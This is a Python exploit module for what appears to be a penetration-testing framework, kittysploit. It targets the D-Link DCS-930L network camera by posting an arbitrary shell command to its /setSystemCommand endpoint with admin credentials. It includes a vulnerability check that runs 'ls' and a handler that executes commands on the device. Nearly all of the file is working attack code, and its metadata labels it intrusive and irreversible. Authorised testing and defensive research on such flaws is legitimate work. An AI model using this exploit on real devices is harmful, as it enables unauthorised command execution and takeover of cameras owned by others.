D-Link DCS-930L Auth RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DCS-930L Auth RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link DCS-930L Auth RCE',
        'description': 'Module exploits D-Link DCS-930L Remote Code Execution vulnerability which allows executing command on the device.',
        'author': ['Nicholas Starke', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/39437/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("admin", "Username to log in with")
    password = OptString("", "Password to log in with")

    def execute(self, cmd):
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        data = {
            "ReplySuccessPage": "docmd.htm",
            "ReplyErrorPage": "docmd.htm",
            "SystemCommand": cmd,
            "ConfigSystemCommand": "Save"
        }

        self.http_request(
            method="POST",
            path="/setSystemCommand",
            headers=headers,
            data=data,
            auth=(self.username, self.password)
        )

        return ""
    def check(self):
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        data = {
            "ReplySuccessPage": "docmd.htm",
            "ReplyErrorPage": "docmd.htm",
            "SystemCommand": "ls",
            "ConfigSystemCommand": "Save"
        }

        response = self.http_request(
            method="POST",
            path="/setSystemCommand",
            headers=headers,
            data=data,
            auth=(self.username, self.password),
        )

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if response.status_code == 200 and "ConfigSystemCommand" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()